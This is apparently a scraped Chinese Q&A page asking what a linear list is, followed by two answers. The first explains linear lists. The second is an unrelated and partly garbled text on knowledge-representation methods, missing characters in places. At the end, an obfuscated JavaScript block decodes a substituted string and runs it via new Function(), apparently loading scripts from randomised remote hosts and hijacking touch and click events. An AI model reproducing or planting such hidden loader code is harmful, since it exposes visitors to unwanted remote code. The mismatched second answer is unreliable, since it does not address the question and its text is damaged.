线性表的定义是什么?它有什么特点?它有什么作用

2025-03-14 05:53:48
推荐回答(2个)
回答1:

线性表不仅是指在VF中,任何涉及到数据的知识都有线性表:线性表是最基本、最简单、也是最常用的一种数据结构。线性表中数据元素之间的关系是一对一的关系,即除了第一个和最后一个数据元素之外,其它数据元素都是首尾相接的。线性表的逻辑结构简单,便于实现和操作。因此,线性表这种数据结构在实际应用中是广泛采用的一种数据结构。  线性表是一种常用的数据结构,以下介绍线性表及其顺序存储,并对栈和队列及它们的顺序实现给出了详细的设计描述。  在实际应用中,线性表都是以栈、队列、字符串、数组等特殊线性表的形式来使用的。由于这些特殊线性表都具有各自的特性,因此,掌握这些特殊线性表的特性,对于数据运算的可靠性和提高操作效率都是至关重要的。  线性表是一个线性结构,它是一个含有n≥0个结点的有限序列,对于其中的结点,有且仅有一个开始结点没有前驱但有一个后继结点,有且仅有一个终端结点没有后继但有一个前驱结点,其它的结点都有且仅有一个前驱和一个后继结点。一般地,一个线性表可以表示成一个线性序列:k1,k2,…,kn,其中k1是开始结点,kn是终端结点。  是一个数据元素的有序(次序)集  线性结构的基本特征为:  1.集合中必存在唯一的一个“第一元素”;  2.集合中必存在唯一的一个“最后元素”;  3.除最后一个元素之外,均有唯一的后继(后件);  4.除第一个元素之外,均有唯一的前驱(前件)。  由n(n≥0)个数据元素(结点)a1,a2,…,an组成的有限序列。  数据元素的个数n定义为表的长度。  当n=0时称为空表。  常常将非空的线性表(n>0)记作:  (a1,a2,…an)  数据元素ai(1≦i≦n)只是一个抽象的符号,其具体含义在不同的情况下可以不同。  线性表的基本操作  1)Setnull(L)置空表  2)Length(L)求表长度;求表中元素个数  3)Get(L,i)取表中第i个元素(1≤i≤n)  4)Prior(L,i)取i的前趋元素  5)Next(L,i)取i的后继元素  6)Locate(L,x)返回指定元素在表中的位置  7)Insert(L,i,x)插入元素  8)Delete(L,x)删除元素  9)Empty(L)判别表是否为空  线性表具有如下的结构特点:  1.均匀性:虽然不同数据表的数据元素可以是各种各样的,但对于同一线性表的各数据元素必定具有相同的数所类长度。  2.有序性:各数据元素在线性表中的位置只取决于它们的序与,数据元素之前的相对位置是线性的,即存在唯一的“第一个“和“最后一个“的数据元素,除了第一个和最后一个外,其它元素前面均只有一个数据元素直接前趋和后面均只有一个数据元素(直接后继)。  在实现线性表数据元素的存储方面,一般可用顺序存储结构和链式存储结构两种方法。链式存储结构将在本网站线性链表中介绍,本章主要介绍用数组实现线性表数据元素的顺序存储及其应用。另外栈.队列和串也是线性表的特殊情况,又称为受限的线性结构。

回答2:

经过国内外学者的共同努力,目前已经有许多知识表示方法得到了深入的研究,目前使用较多的知识表示方法主要有:谓词逻辑表示法,产生式表示法、框架表示法、语义网络表示法、面向对象表示法、基于本体的知识表示法等。本文将介绍这些知识表示方法的特征和优缺点,进行一些分析和比较。(1)词逻辑表示法。谓词逻辑表示法是指各种基于形式逻辑(ormalogic)知识表示方式,用逻辑公式描述对象、性质、状况和关系,例如“宇宙飞船在轨道上”可以描述成:(npaceshiporbit)它是人工智能领域中使用最早和最广泛的知识表示方法之一。其根本目的在于把数学中的逻辑论证符号化,能够采用数学演绎的方式,证明一个新语句是从哪些已知正确的语句推导出来的,那么也就能够断定这个新语句也是正确的。在这种方法中,识库可以看成一组逻辑公式的集合,识库的修改是增加或删除逻辑公式。使用逻辑法表示知识,将以自然语言描述的知识通过引入谓词、函数来加以形式描述,得有关的逻辑公式,而以机器内部代码表示。在逻辑法表示下可采用归结法或其它方法进行准确的推理。谓词逻辑表示法建立在形式逻辑的基础上,有下列优点:①谓词逻辑表示法对如何由简单说明构造复杂事物的方法有明确、统一的规定,且有效地分离了知识和处理知识的程序,构清晰;②谓词逻辑与数据库,别是与关系数据库有密切的关系;一阶谓词逻辑具有完备的逻辑推理算法;逻辑推理可以保证知识库中新旧知识在逻辑上的一致性和演绎所得结论的正确性;逻辑推理作为一种形式推理方法,依赖于任何具体领域,具有较大的通用性。但是,词逻辑表示法也存在着下列缺点:①难于表示过程和启发式知识;②由于缺乏组织原则,得知识库难于管理;③由于是弱证明过程,当事实的数目增大时,证明过程中可能产生组合爆炸;④表示的内容与推理过程的分离,理按形式逻辑进行,容所包含的大量信息被抛弃,样使得处理过程加长、工作效率低。谓词逻辑适合表示事物的状态、属性、概念等事实性的知识,及事物间确定的因果关系,是不能表示不确定性的知识,及推理效率很低。(2)生式规则表示法。产生式知识表示法是常用的知识表示方式之一。它是依据人类大脑记忆模式中的各种知识之间的大量存在的因果关系,以“IFHEN”的形式,产生式规则表示出来的。这种形式的规则捕获了人类求解问题的行为特征,通过认识———行动的循环过程求解问题。一个产生式系统由规则库、综合数据库和控制机构三个基本部分组成。产生式规则表示法具有非常明显的优点:①自然性好,产生式表示法用“If-THEN”的形式表示知识,这种表示形式与人类的判断性知识基本一致,直观,自然,便于推理;②除了对系统的总体结构、各部分相互作用的方式及规则的表示形式有明确规定以外,对系统的其它实现细节都没有具体规定,这使设计者们在开发实用系统时具有较大灵活性,可以根据需要采用适当的实现技术,特别是可以把对求解问题有意义的各种启发式知识引入到系统中;③表示的格式固定,形式单一,规则间相互独立,整个过程只是前件匹配,后件动作。匹配提供的信息只有成功与失败,匹配一般无递归,没有复杂的计算,所以系统容易建立;④由于规则库中的知识具有相同的格式,并且全局数据库可以被所有的规则访问,因此规则可以被统一处理;⑤模块性好,产生式规则是规则中最基本的知识单元,各规则之间只能通过全局数据库发生联系,不能互相调用,增加了规则的模块性,有利于对知识的增加、删除和修改;⑥产生式表示法既可以表示确定的知识单元,又可以表示不确定性知识;既有利于表示启发式知识,又可方便地表示过程性知识;既可表示领域知识,又可表示元知识。但是,产生式规则表示法也存在着下列缺点:①推理效率低下:由于规则库中的知识都有统一格式,并且规则之间的联系必须以全局数据库为媒介,推理过程是一种反复进行的“匹配———冲突消除———执行”的过程。而且在每个推理周期,都要不断地对全部规则的条件部分进行搜索和模式匹配,从原理上讲,这种做法必然会降低推理效率,而且随着规则数量的增加,效率低的缺点会越来越突出,甚至会出现组合爆炸问题。②不直观:数据库中存放的是一条条相互独立的规则,相互之间的关系很难通过直观的方式查看;③缺乏灵活性:产生式表示的知识有一定的格式,规则之间不能直接调用,因此较难表示那些具有结构关系或层次关系的知识,也不能提供灵活的解释。产生式方法是目前专家系统首选的知识表示方式。用于化工工业测定分子结构的DENDRAL系统,用于诊断脑膜炎和血液病毒感染的MYCIN系统,以及用于估计矿藏的PROSPECTOR系统等,都是用这种方法进行知识表示和推理的例子。(3)语义网络表示法。语义网络是知识表示中最重要的方法之一,是一种表达能力强而且灵活的知识表示方法。语义网络利用节点和带标记的边构成的有向图描述事件、概念、状况、动作及客体之间的关系。带标记的有向图能十分自然的描述客体之间的关系。语义网络由于其自然性而被广泛应用。采用语义网络表示的知识库的特征是利用带标记的有向图描述可能事件。结点表示客体、客体性质、概念、事件、状况和动作,带标记的边描述客体之间的关系。知识库的修改是通过插入和删除客体及其相关的关系实现的。采用网络表示法比较合适的领域大多数是根据非常复杂的分类进行推理的领域以及需要表示事件状况、性质以及动作之间的关系的领域。语义网络表示法具有以下的优点:①把各节点之间的联系以明确、简洁的方式表示出来,是一种直观的知识表示方法;②着重强调事物间的语义联系,体现了人类思维的联想过程,符合人们表达事物间关系的习惯,因此把自然语言转换成语义网络较为容易;③具有广泛的表示范围和强大的表示能力,用其它形式的表示方法能表达的知识几乎都可以用语义网络来表示;④把事物的属性以及事物间的各种语义联系显式地表示出来,是一种结构化的知识表示法。但是,语义网络表示法也存在着以下的缺点:①推理规则不十分明了,不能充分保证网络操作所得推论的严格性和有效性;②一旦节点个数太多,网络结构复杂,推理就难以进行;③不便于表达判断性知识与深层知识。(4)框架表示法。框架表示法是明斯基于1975年提出的,其最突出的特点是善于表示结构性知识,能够把知识的内部结构关系以及知识之间的特殊关系表示出来,并把与某个实体或实体集的相关特性都集中在一起。框架是一种描述固定情况的数据结构,一般可以把框架看成是一个由节点和关系组成的网络。框架的最高层次是固定的,并且它描述对于假定情况总是正确的事物,在框架的较低层次上有许多终端———被称为槽(Slots)。在槽中填入具体值,就可以得到一个描述具体事物的框架,每一个槽都可以有一些附加说明———被称为侧面(Facet),其作用是指出槽的取值范围和求值方法等。一个框架中可以包含各种信息:描述事物的信息,如何使用框架的信息,关于下一步将发生什么情况的期望及如果期望的事件没有发生应该怎么的信息等等,这些信息包含在框架的各个槽或侧面中。一个具体事物可由槽中己填入值的框架来描述,具有不同的槽值的框架可以反映某一类事物中的各个具体事物。相关的框架链接在一起形成了一个框架系统,框架系统中由一个框架到另一个框架的转换可以表示状态的变化、推理或其它活动。不同的框架可以共享同一个槽值,这种方法可以把不同角度搜集起来的信息较好地协调起来。框架表示法具有以下优点:①框架系统的数据结构和问题求解过程与人类的思维和问题求解过程相似;②框架结构表达能力强,层次结构丰富,提供了有效的组织知识的手段,只要对其中某些细节作进一步描述,就可以将其扩充为另外一些框架;③可以利用过去获得的知识对未来的情况进行预测,而实际上这种预测非常接近人的认识规律,因此可以通过框架来认识某一类事物,也可以通过一系列实例来修正框架对某些事物的不完整描述(填充空的框架,修改默认值)。框架表示法与语义网络表示法存在着相似的问题:①缺乏形式理论,没有明确的推理机制保证问题求解的可行性和推理过程的严密性;②由于许多实际情况与原型存在较大的差异,因此适应能力不强;③框架系统中各个子框架的数据结构如果不一致会影响整个系统的清晰性,造成推理的困难。(5)面向对象的知识表示。面向对象的知识表示方法基本出发点就是:客观世界是由一些实体组成的。这些实体有自己的状态,可以执行一定的动作。相似的实体抽象为较高层的实体,实体之间能以某种方式发生联系。所谓对象就是对这些实体的映象。对象中封装了数据成员(或者叫实例成员)和成员函数(方法)。数据成员可以用来描述对象的各种属性,这些属性是对外隐蔽的。外界可以且仅可以通过成员函数访问对象的私有成员,数据成员可以被初始化,可以通过成员函数被改变,因此对象可以动态地保存当前自己的状态。由于对象中还包含了操作(成员函数),因此可以把求解机制封装于对象之中。这样对象既是信息的存储单元,又是信息处理的独立单位,它具有一定的内部结构和处理能力。各种类型的求解机制分布于各个对象,通过对象之间消息的传递完成整个问题求解过程。用对象表示的知识与客观情况更为接近,这种表示方案比较自然,易于理解。面向对象表示法具有如下优点:①“继承”带来了天然的层次性和结构性。在高层次,对象能封装复杂的行为,使具体细节对该层知识使用保持透明,从而降低问题描述和计算推理的复杂度;通过继承可以减少知识表达上的冗余,知识库的修改、增加、删减以及使用和维护都十分方便;对一个知识单元进行修改不会影响其它单元,每一知识单元中所包含的知识规则有限,推理空间小,提高了推理效率;②对象本身的定义产生了良好的兼容性和灵活性,它可以是数据,也可以是方法;可以是事实,也可以是过程;可以是一个框架,也可以是一个语义子网络;③用几何语言来描述的话,面向对象的抽象机制实际上是将对象看成了客观世界及其映射系统的分形元,因而事物都可以由这些分形元堆垒而成。分形的特征首先是不断的细分,这和知识结构的不断扩展是一致的。其次是“比例自相似性”,使得我们有可能“从简单的原则衍生出复杂的系统”。(6)基于本体的知识表示方法。本体是对领域实体存在本质的抽象,它强调实体间的关联,并通过多种知识表示元素将这些关联表达和反映出来,这些知识表示元素也被称为元本体,主要包括:①概念———表示领域知识元,包括一般意义上的概念以及任务、功能、策略、行为、过程等等,在本体的实现中,概念通常用类(class)来定义,而且通常具有一定的分类层次关系;②属性———描述概念的性质,是一个概念区别于其他概念的特征,通常用槽(slot)或者类的属性(Properties)来定义;③关系———表示概念之间的关联,例如一些常用的关联:父关系、子关系、相等关系;④函数———表示一类特殊的关系,即由前n-1个要素来唯一决定第n个要素,如:长方形的长和宽唯一决定其面积;⑤公理———表示永真式,在本体论中,对于属性、关系和函数都具有一定的关联和约束,这些约束就是公理,公理一般用槽的侧面(facet)来定义;⑥实例———表示属于某个概念类的具体实体。本体的每一个知识表示元素也可以被看作一个知识片,每一个知识片都包含名称、定义和文档说明。

!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();